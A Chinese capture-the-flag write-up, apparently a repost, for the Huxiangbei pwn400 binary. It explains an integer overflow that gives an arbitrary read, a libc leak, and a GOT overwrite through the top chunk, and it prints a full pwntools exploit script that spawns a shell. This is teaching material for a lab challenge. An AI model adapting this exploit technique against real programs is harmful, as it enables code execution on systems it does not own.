湖湘杯pwn400的wp
来源:互联网 发布:电子数据交换的应用 编辑:程序博客网 时间:2024/05/16 19:43
湖湘杯的pwn比赛很有趣,我做了pwn300的题目,感觉不错,我把wp分享出来,pwns的下载链接是: http://download.csdn.net/download/niexinming/10152069
把pwn400直接拖入ida中:
main函数:
Create Profile函数:
Print Profile函数:
Update Profile函数:
Exchange函数:
这个题目有点难度,我花了三天才搞定,题目的流程不难,首先创建Profile,当名字的长度小于8的时候会把数据写入bss段,数据的长度值nbytes会放入数据的后面,大于8的时候会malloc一个空间,把输入写入堆中,而指针会保存在bss段,而数据的长度值nbytes也会保存在指针的后面,更新Profile的时候也会做相同的操作,打印数据的时候会把名字输出,可以用这个功能泄露程序任意地址的任意数据,Exchange可以交换两个地址的数据,可以利用这个来getshell
先运行一下程序看一下这个程序干了啥:
再看看程序开启了哪些保护:
看到这个程序开了栈不可执行,于是肯定就会想到用rop来做
这个程序有两个地方可以利用:
(1)是创建的Profile,名字长度如果小于8就把数据写入bss段中,但是你可以输入负数,如果是负数的话,就可以造成整数溢出,你就可以在bss段中写入任意长度的数据,就可以覆盖后面的长度值nbytes为任意数值,这样你可以伪造一个任意长度的数据,在print函数中可以看到如果nbytes长度小于8就去读bss中的数据,如果nbytes大于8就会去读bss中的指针指向的数据,如果我们伪造nbytes的话就可以让print Profile函数去读任意地址的数据,通过got表可以计算出libc的基地址
(2)是Exchange函数可以交换任意两个指针,但是两个指针都是要有写权限的,程序中权限可以通过vmmap来查看
这个地方是难点,解决方法是:用top_chunk 指针和read@got指针进行交换,第二次堆分
配时候可以分配到我想要的位置,就可以把想要数据写入read@got中,当下回调用read的时候就可以跳到MAGIC中getshell了,关于top_chunk的介绍可以参考https://www.cnblogs.com/alisecurity/p/5486458.html,找top_chunk地址的思路可以参考 http://www.freebuf.com/articles/rookie/155971.html 这个文章
我的exp
#!/usr/bin/env python# -*- coding: utf-8 -*-__Auther__ = 'niexinming'from pwn import *import binasciicontext(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')localMAGIC=0x5fbc6localmain_arena=0x001B2780def debug(addr = '0x08048BA6'): raw_input('debug:') gdb.attach(io, "b *" + addr)def base_addr(prog_addr,sysmbol,offset): if sysmbol=='min': return eval(prog_addr)-offset else: return eval(prog_addr) + offsetdef cr_up_profile(choose,name_len,name,age): io.recvuntil('>') io.send(choose) io.recv() io.sendline(name_len) io.recvuntil('Input your name:\n') io.sendline(name) io.recvuntil('Input your age:\n') io.sendline(age)def print_profile(address): io.recvuntil(">") io.sendline('2') data = io.recv().splitlines()[0][11:15][::-1] log.info("%#x => %s" % (address, (data or '').encode('hex'))) return datadef change_age(address1,address2): io.sendline('4') io.recvuntil('Person 1:') io.send(p32(address1)) io.recvuntil('Person 2:') io.send(p32(address2))def leak(address): payload = p32(address) + 'a' * 4 + p32(10) cr_up_profile('3','-10',payload,'10') return print_profile(address)def getshell(address1,address2,address3): change_age(address1,address2) cr_up_profile('3','20',address3,'20')#libc addrlibc=ELF('/lib/i386-linux-gnu/libc.so.6')symbols = ['environ', '_environ', '__environ']for symbol in symbols: environ = libc.symbols[symbol]print "environ:"+hex(environ)head=libc.symbols['__curbrk']print "head:"+hex(head)system=libc.symbols['system']print "system:"+hex(system)__malloc_hook=libc.got['__malloc_hook']print "__malloc_hook:"+hex(__malloc_hook)#profile addrelf = ELF('/home/h11p/hackme/huxiangbei/profile')printf_addr=elf.got['printf']puts_addr=elf.got['puts']atoi_addr=elf.got['atoi']malloc_addr=elf.got['malloc']__isoc99_scanf_addr=elf.got['__isoc99_scanf']read_addr=elf.got['read']print "printf_addr:"+hex(printf_addr)print "puts_addr:"+hex(puts_addr)print "atoi_addr:"+hex(atoi_addr)print "malloc_addr:"+hex(malloc_addr)print "__isoc99_scanf_addr:"+hex(__isoc99_scanf_addr)print "read_addr:"+hex(read_addr)io = process('/home/h11p/hackme/huxiangbei/profile')#debug()#create profilecr_up_profile('1','10','a'*8,'1'*12)#leak libc baselibc_base=base_addr("0x"+binascii.b2a_hex(leak(printf_addr)),'min',0x49670) #0x49670#get libc func addrprint "libc_base:"+hex(libc_base)MAGIC_addr=libc_base+localMAGICprint "MAGIC_addr:"+hex(MAGIC_addr)environ_addr=libc_base+environprint "environ_addr:"+hex(environ_addr)head_addr=libc_base+headprint "head_addr:"+hex(head_addr)main_arena_addr=libc_base+localmain_arenaprint "main_arena_addr:"+hex(main_arena_addr)topchunk=main_arena_addr+0x30print "topchunk:"+hex(topchunk)system_addr=libc_base+systemprint "system_addr:"+hex(system_addr)__malloc_hook_addr=libc_base+__malloc_hookprint "__malloc_hook_addr:"+hex(__malloc_hook_addr)'''libc_start_main=base_addr("0x"+binascii.b2a_hex(leak(environ_addr)),'min',0xa0)print "libc_start_main:"+hex(libc_start_main)head_addr_input=base_addr('0x'+binascii.b2a_hex(leak(head_addr+1))+'00','min',0x20fe8)print "head_addr_input:"+hex(head_addr_input)'''#getshellgetshell(topchunk-0xc,0x0804B004-0x8,'a'*8+p32(MAGIC_addr))io.interactive()io.close()
效果是:
Ps:
寻找
MAGIC可以用one_gadget这个工具,工具地址在: https://github.com/david942j/one_gadget
- 湖湘杯pwn400的wp
- 2017湖湘杯pwn100的wp
- 2017湖湘杯pwn200的wp
- 2017湖湘杯pwn300的wp
- SCTF2014/pwn400 writeup
- WP的好书
- wp的progressDialog
- wp 遇到的错误
- wp 的MD5代码
- 移植WP的总结
- sp&wp 的三板斧
- WP的后台代理
- sp&wp 的三板斧
- sp&wp 的三板斧
- smashthestack的wp
- onepunch的wp
- raas的wp
- ping的wp
- 小小三子棋
- VMware虚拟机安装ghost win7系统方法
- 康师傅方便面、伊呀呀等实际案例感悟
- C11 多线程编程(1)
- Java设计模式学习—外观模式(Facade Pattern)
- 湖湘杯pwn400的wp
- Raft协议中文翻译(1)
- Python WEB网站开发解决方案
- spring boot redis整合
- CSS3高仿百度外卖头像波浪效果
- Python基础-函数-调用函数
- MyBatis中${}与#{}
- python 3 中的 os 以及 os.path 模块的使用详解!阿波的博客
- 广度优先搜索